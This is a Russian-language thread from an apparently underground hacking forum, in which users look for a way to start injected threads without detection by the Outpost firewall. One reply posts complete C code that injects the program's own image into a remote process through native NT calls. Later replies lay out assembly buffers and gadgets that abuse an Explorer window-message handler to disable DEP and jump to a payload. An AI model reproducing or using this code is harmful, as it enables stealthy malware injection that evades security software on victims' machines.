• XSS.stack #1 – первый литературный журнал от юзеров форума

Аналог RtlCreateUserThread

rtkm

(L3) cache
Пользователь
Регистрация
16.01.2013
Сообщения
159
Реакции
71
Может кто знает не палевный аналог xRtlCreateUserThread, а то аутпост ругается, инжектимся все гуд , а вот запустится не можем.


Буду благодарен!!
 
там вродекак так или иначе в конечном итоге дергаеца сервис NtCreateThread, аутпост проверяет наверна хендол процесса в котором создаеца поток и ежеле процесс удаленный, то лочит немножечко. пробуйти сталобыть ежеле оутпост работает в системе (я хз чополучица ибо не пробовал)
NtCreateThread(
OUT PHANDLE ThreadHandle ,
IN ACCESS_MASK DesiredAccess ,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle ,
OUT PCLIENT_ID ClientId , <------ вот на эту структурку(8 байт она)
IN PCONTEXT ThreadContext ,
IN PINITIAL_TEB InitialTeb ,
IN BOOLEAN CreateSuspended );
установить аттрибут защиты PAGE_GUARD | PAGE_READWRITE для открытия процесса(NtOpenProcess), например, оутпост хавол такую шляпу, спросите индеклерка он докажет

(чота с PAGE_GUARD | PAGE_READWRITE не работоед, кстате)
 
rtkm
когда то делал инжект на нетиве ) да в конечном итоге дергается NtCreateThread
Код:
NTSTATUS NtInjectProcess(DWORD ( WINAPI *pFunction )( LPVOID ),PWCHAR szwProcessName)
{  
  NTSTATUS NtStatus;
  OBJECT_ATTRIBUTES ObjectAttributes;
  InitializeObjectAttributes(&ObjectAttributes,NULL,0,NULL,NULL);
  // enable debug privilege 
  NtStatus = NtSetPrivilege(SE_DEBUG_PRIVILEGE);
  if (NT_SUCCESS(NtStatus))
  {
     HANDLE hProcess;
  DWORD dwProcessId;
  CLIENT_ID C_ID;
  NtGetProcessId(szwProcessName,&dwProcessId);
     C_ID.UniqueProcess = (HANDLE)dwProcessId;
     C_ID.UniqueThread = NULL;
  // get remote process descriptor
     NtStatus = NtOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&ObjectAttributes,&C_ID);
  if (NT_SUCCESS(NtStatus))
  {
   DWORD dwSelfSize;
   PVOID pSelfBaseAddress = GetPEB()->ImageBaseAddress;
   // calculate self size
         dwSelfSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(pSelfBaseAddress) + ((PIMAGE_DOS_HEADER)(pSelfBaseAddress))->e_lfanew + sizeof(DWORD)+ sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
   // allocate in target process memory
   NtStatus = NtAllocateVirtualMemory(hProcess,&pSelfBaseAddress,0,&dwSelfSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
   if (NT_SUCCESS(NtStatus))
   {
  	// write self PE image
            DWORD WriteBytes;
  	NtStatus = NtWriteVirtualMemory(hProcess,pSelfBaseAddress,pSelfBaseAddress,dwSelfSize,&WriteBytes);
       if (NT_SUCCESS(NtStatus))
  	{ 
     // Create stack size for remote thread
     SYSTEM_BASIC_INFORMATION SysInfo;
     NtStatus = NtQuerySystemInformation(SystemBasicInformation,&SysInfo,sizeof(SysInfo),NULL);
     if (NT_SUCCESS(NtStatus))
     {
        // default stack size of remote thread
     DWORD dwStackSize = SysInfo.uAllocationGranularity;
     // allocate reserve and commit memory onto stack 
                 PVOID pStack = NULL;
     NtStatus = NtAllocateVirtualMemory(hProcess,&pStack,0,&dwStackSize, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
        if (NT_SUCCESS(NtStatus))
        {
            INITIAL_TEB InitialTeb;
      CONTEXT ThreadContext;
      PVOID lpParametr = pSelfBaseAddress;  //my parametr
                     // fill TEB
            InitialTeb.OldInitialTeb.OldStackBase = NULL;
                     InitialTeb.OldInitialTeb.OldStackLimit = NULL;
                     InitialTeb.StackAllocationBase = pStack;
                     InitialTeb.StackBase = (PVOID)((DWORD)pStack + dwStackSize);
         InitialTeb.StackLimit = pStack;
      // fill CONTEXT    
                     ThreadContext.Eax = 0L;
                     ThreadContext.Ebx = 1L;
                     ThreadContext.Ecx = 2L;
                     ThreadContext.Edx = 3L;
                     ThreadContext.Esi = 4L;
                     ThreadContext.Edi = 5L;
                     ThreadContext.Ebp = 0L;
       ThreadContext.SegGs = 0;
                     ThreadContext.SegFs = 0x38;      // KGDT_R3_TEB 
                     ThreadContext.SegEs = 0x20;      // KGDT_R3_DATA;
                     ThreadContext.SegDs = 0x20;      // KGDT_R3_DATA;
                     ThreadContext.SegSs = 0x20;      // KGDT_R3_DATA;
                     ThreadContext.SegCs = 0x18;      // KGDT_R3_CODE;
                     ThreadContext.EFlags = 0x200L;   // force interrupts on, clear all else.
                     ThreadContext.Esp = (DWORD)InitialTeb.StackBase;
                     ThreadContext.Eip = (ULONG)pFunction;  // thread function
                     ThreadContext.ContextFlags = CONTEXT_FULL;
      ThreadContext.Esp -= sizeof(lpParametr);  // Parametr size to stack 
                     NtStatus = NtWriteVirtualMemory(hProcess,(PVOID)ThreadContext.Esp,&lpParametr,sizeof(lpParametr),NULL);
      if (NT_SUCCESS(NtStatus))
      {
      ULONG OldProtect;
         ThreadContext.Esp -= sizeof(lpParametr);   // Reserve room for ret 
                        NtStatus = NtProtectVirtualMemory(hProcess,&pStack,&dwStackSize,PAGE_GUARD | PAGE_READWRITE,&OldProtect);
      if (NT_SUCCESS(NtStatus))
      {
         HANDLE hRemoteThread;
         CLIENT_ID ThreadClientId;
                           NtStatus = NtCreateThread(&hRemoteThread,THREAD_ALL_ACCESS,&ObjectAttributes,hProcess,&ThreadClientId,&ThreadContext,&InitialTeb,TRUE);
         if (NT_SUCCESS(NtStatus))
         {
          BASE_API_MSG BaseApiMsg;
          PBASE_CREATETHREAD_MSG pBaseCreateThread;
          MyZeroMemory(&BaseApiMsg,sizeof(BASE_API_MSG),0);
          pBaseCreateThread = (PBASE_CREATETHREAD_MSG)&BaseApiMsg.u.BaseCreateThread;
          pBaseCreateThread->hThread = hRemoteThread;
          pBaseCreateThread->ClientId = ThreadClientId;
          // inform client server subsystem of new thread in process
                               NtStatus = CsrClientCallServer((PCSR_API_MSG)&BaseApiMsg,0,0x10001,0x0C);
          if (NT_SUCCESS(NtStatus))
          {
          NtStatus = NtResumeThread(hRemoteThread,NULL);
          }
          NtClose(hRemoteThread); 
         }
      }
      }
     }
     }
            } 
   }
   NtClose(hProcess); 
  }
  }
  return NtStatus;
но там есть NtCreateThreadEx (виста и выше ) что бы не игратся со стеком
 
Окей, сегодня попробую и отпишусь.

П.С.

(чота с PAGE_GUARD | PAGE_READWRITE не работоед, кстате)

У меня это срабатывает, на самом запуска уже палитсо... ( при открытие процесса )
 
Скрин ольки

Ну кароч палит , походу тема уже убитая, но фишка в том что открытия процесса не палит , а запуск потока палит :(
 
OUT PCLIENT_ID ClientId , <------ вот на эту структурку(8 байт она)
OUT PCLIENT_ID ClientId
OUT

дада, именно на неё :D
ставьте всё на красное, не прогадаете
 
РезюмеСрид? Это как то связано со сраньём (воще охуеть).
А по теме вот есчо как то мелькало на васме, например, PostMessageA
(FindWindowA("Shell_
TrayWnd", NULL), WM_
USER+384, (WPARAM)-1,
(LPARAM)-1);
правда я не глядел обработчек этого мессоджа, наверна как обычно вызов какойнить виртуальной функции указатель на массив адресов которых передаеца в одном из pаrаm. (у Гены как всегда одни догадки)
 
гена, там роп надо, если чо. правда в случае аутпоста уже ненадо да, если на запись не орёт оно.
 
Код:
;собственно сам обработчек этой шняги
; msg = WM_USER+384(0x580)
;01003705  |.  3BDF          CMP EBX,EDI    ;ebx = lParam
;01003707  |.^ 0F84 C7E7FFFF JE 01001ED4
;0100370D  |.  8B4D B8       MOV ECX,DWORD PTR SS:[LOCAL.18];ecx = pointer 1
;01003710  |.  8901          MOV DWORD PTR DS:[ECX],EAX  ;eax = wParam, save in pointer 1
;01003712  |.  8B08          MOV ECX,DWORD PTR DS:[EAX]  ;ecx = addr virt func buff
;01003714  |.  50            PUSH EAX
;01003715  |.  FF51 04       CALL DWORD PTR DS:[ECX+4]  ;addr in virt func buff+4 - call (wParam)
;01003718  |.  891E          MOV DWORD PTR DS:[ESI],EBX  ; ну а тут вызов примерно той же х#йни
;0100371A  |.  8B03          MOV EAX,DWORD PTR DS:[EBX]  ; тока по указателю в wParam
;0100371C  |.  53            PUSH EBX
;0100371D  |.  FF50 04       CALL DWORD PTR DS:[EAX+4]  ;addr in virt func buff+4 - call (lParam)
;01003720  |.^ E9 AFE7FFFF   JMP 01001ED4
в wParam lParam соответственно указатели на массивы виртуальных функций. как для вПарам так и для лПарам смысл имеет лишь адрес в ячейке по смещению +4 от указателей (в wParam lParam) по понятным причинам. Не вижу нихрена особо сложнова в выдумываньи всяких извращений по собираньям ошметков кода и передаче на них управлений. Дерзайте, Шурек;)
 
Смысел такой что бы
Код:
;01003712  |.  8B08          MOV ECX,DWORD PTR DS:[EAX] ;ecx = addr virt func buff
сюда указать виртуальный адресс функции?
 
в wParam адрес 1го буфера в процессе эксплорера в lParam - адрес 2го буфера. в каждом из этих буферов должно быть как минимум 8 байт(а на деле то канешна более), первые 4 из которых например, указатель на эти самые 4 байта, по смещению +4 от которых - адрес функции в процессе эксплорера, которая будет вызвана.
;============================================
Как вариант:
;============================================
Код:
MOV ECX,DWORD PTR DS:[EAX];ecx = addr virt func buff (wParam)
PUSH EAX
CALL DWORD PTR DS:[ECX+4]

буфер на который указывает wParam (адреса в нем должны быть вычислены динамически, разумееца):

dd $ ;в ячейке адрес этой самой ячейки
dd callSetProcessDEPPolicy
callSetProcessDEPPolicy dd finded_code ; (тут нужно найти шматок кода, например вида finded_code: см. ниже)
addrSetProcessDEPPolicy dd SetProcessDEPPolicy ;адрес фукнции SetProcessDEPPolicy

Код:
finded_code:;просто пример, ибо такова именно кодеса, думаю не найдеца в АП
push 0
call dword ptr[ecx+(offset addrSetProcessDEPPolicy - offset  p_wParam);вызов SetProcessDEPPolicy адрес которой находится по смещению все в том же буфере адресуемом по wParam
ret 4
;============================================
Код:
MOV EAX,DWORD PTR DS:[EBX]; eax = addr virt func buff (lParam)
PUSH EBX
CALL DWORD PTR DS:[EAX+4]

(продолжение буфера p_wParam-addrSetProcessDEPPolicy)
dd $ ;в ячейке адрес этой самой ячейки
dd PlayLoad ;адрес функции полезной нагрузки
PlayLoad:
hlt
ret 4

как то так
 
там поправил немного с адресаме, кстати. насчет метода я хз. у меня эксплорер тока винХП, насчет других незнаю. про "закрыли" ваще непонятно. это разве эксплорер надо апдейтить ибо это уязвимость локальная

вот, например, у меня есть в WMVCore.dll в кодосекции такой кодес, по которому можна дернуть SetProcessDEPPolicy, тока стек потом на +4 надо выровнять есчо будет
1515DFC4 6A 00 PUSH 0
1515DFC6 FF50 18 CALL DWORD PTR DS:[EAX+18]
1515DFC9 C3 RETN

это канешна справедливо лишь ежеле в разных версиях сплорера в eax будет wParam находиться, что весьма зависит от желания конпелятора
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх